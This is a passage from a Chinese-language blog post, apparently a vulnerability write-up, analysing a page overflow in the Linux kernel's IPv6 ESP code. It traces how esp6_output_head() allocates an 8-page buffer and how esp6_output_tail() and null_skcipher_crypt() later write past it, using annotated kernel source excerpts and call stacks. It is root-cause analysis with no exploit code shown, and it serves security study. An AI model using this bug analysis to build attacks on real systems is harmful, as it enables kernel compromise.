8-page，但发送者可以发送大于 8-page 的数据，导致页溢出。</p><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1-1 漏洞对象创建</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">漏洞对象创建</strong>：esp6_output_head() 负责创建 receive buffer，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">allocsize</code> 变量不重要，因为 skb_page_frag_refill() 会默认分配 8-page 内存（order-3 pages）。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">调用栈</strong>：sendmsg() -&gt; __sys_sendmsg() -&gt; ___sys_sendmsg() -&gt; ____sys_sendmsg() -&gt; sock_sendmsg() -&gt; sock_sendmsg_nosec() -&gt; rawv6_sendmsg() -&gt; rawv6_push_pending_frames() -&gt; ip6_push_pending_frames() -&gt; ip6_send_skb() -&gt; ip6_local_out() -&gt; dst_output() -&gt; xfrm6_output() -&gt; NF_HOOK_COND() -&gt; __xfrm6_output() -&gt; [xfrm_output()]() -&gt; xfrm_output2() -&gt; xfrm_output_resume() -&gt; dst_output() -&gt; ip6_output() -&gt; NF_HOOK_COND() -&gt; ip6_finish_output -&gt; __ip6_finish_output -&gt; ip6_finish_output2() -&gt; neigh_output() -&gt; neigh_hh_output() -&gt; dev_queue_xmit() -&gt; __dev_queue_xmit() -&gt; validate_xmit_skb() -&gt; validate_xmit_xfrm() -&gt; esp6_xmit() -&gt; esp_output_head() 34层，太复杂了。。。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp6_output_head</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">page_frag</span> *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">pfrag</span> = &amp;<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">x</span>-&gt;<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">xfrag</span>;</span>          <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// x-&gt;xfrag-&gt;page = vul object</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> tailen = esp-&gt;tailen;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        allocsize = ALIGN(tailen, L1_CACHE_BYTES);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        spin_lock_bh(&amp;x-&gt;lock);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (unlikely(!skb_page_frag_refill(allocsize, pfrag, GFP_ATOMIC))) {    <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [1]</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            spin_unlock_bh(&amp;x-&gt;lock);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">goto</span> cow;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">bool</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">skb_page_frag_refill</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> sz, struct page_frag *pfrag, <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">gfp_t</span> gfp)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (pfrag-&gt;offset + sz &lt;= pfrag-&gt;size)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">true</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (SKB_FRAG_PAGE_ORDER &amp;&amp;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        !static_branch_unlikely(&amp;net_high_order_alloc_disable_key)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        pfrag-&gt;page = alloc_pages((gfp &amp; ~__GFP_DIRECT_RECLAIM) |               <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [2] </span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                      __GFP_COMP | __GFP_NOWARN |<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                      __GFP_NORETRY,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                      SKB_FRAG_PAGE_ORDER);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">false</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1-2 越界写</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">漏洞对象越界</strong>：null_skcipher_crypt() 函数中，内核拷贝了 N-page 数据，导致OOB。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">null_skcipher_crypt</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct skcipher_request *req)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">skcipher_walk</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">walk</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    err = skcipher_walk_virt(&amp;walk, req, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">false</span>);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">while</span> (walk.nbytes) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (walk.src.virt.addr != walk.dst.virt.addr)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// out-of-bounds write</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">memcpy</span>(walk.dst.virt.addr, walk.src.virt.addr,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                   walk.nbytes);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        err = skcipher_walk_done(&amp;walk, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">调用栈</strong>：<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">...</code> -&gt; esp6_xmit() -&gt; esp6_output_tail() -&gt; crypto_aead_encrypt() -&gt; crypto_authenc_encrypt() -&gt; crypto_authenc_copy_assoc() -&gt; crypto_skcipher_encrypt() -&gt; null_skcipher_crypt() 可以看到，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">esp6_xmit()</code> 先调用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">esp6_output_head()</code> 分配漏洞对象的 8-page 内存（地址存放在<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">x-&gt;xfrag-&gt;page</code>），再调用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">esp6_output_tail()</code> 将该内存赋值给 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">req.dst</code> 并最后触发OOB。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp6_xmit</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb,  <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">netdev_features_t</span> features)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> alen;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp_info</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">bool</span> hw_offload = <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">true</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    esp.tailen = esp.tfclen + esp.plen + alen;          <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// esp.tailen   -&gt;   allocsize</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (!hw_offload || !skb_is_gso(skb)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        esp.nfrags = esp6_output_head(x, skb, &amp;esp);    <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [1] alloc the vulnerable object, saved at x-&gt;xfrag-&gt;page</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (esp.nfrags &lt; <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> esp.nfrags;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    err = esp6_output_tail(x, skb, &amp;esp);               <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [2] trigger OOB</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp6_output_tail</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ... <br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (!esp-&gt;inplace) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> allocsize;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">page_frag</span> *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">pfrag</span> = &amp;<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">x</span>-&gt;<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">xfrag</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        page = pfrag-&gt;page;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        get_page(page);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/* replace page frags in skb with new page */</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        __skb_fill_page_desc(skb, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>, page, pfrag-&gt;offset, skb-&gt;data_len);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        pfrag-&gt;offset = pfrag-&gt;offset + allocsize;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        spin_unlock_bh(&amp;x-&gt;lock);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        sg_init_table(dsg, skb_shinfo(skb)-&gt;nr_frags + <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">1</span>);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        err = skb_to_sgvec(skb, dsg,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                       (<span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">char</span> *)esph - skb-&gt;data,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                       assoclen + ivlen + esp-&gt;clen + alen);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    aead_request_set_crypt(req, sg, dsg, ivlen + esp-&gt;clen, iv);       <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [2-1]  dsg  =  x-&gt;xfrag-&gt;page</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    aead_request_set_ad(req, assoclen);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    err = crypto_aead_encrypt(req);        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [2-2] req-&gt;dst = dsg</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    ... ...<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>EXPORT_SYMBOL_GPL(esp6_output_tail);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 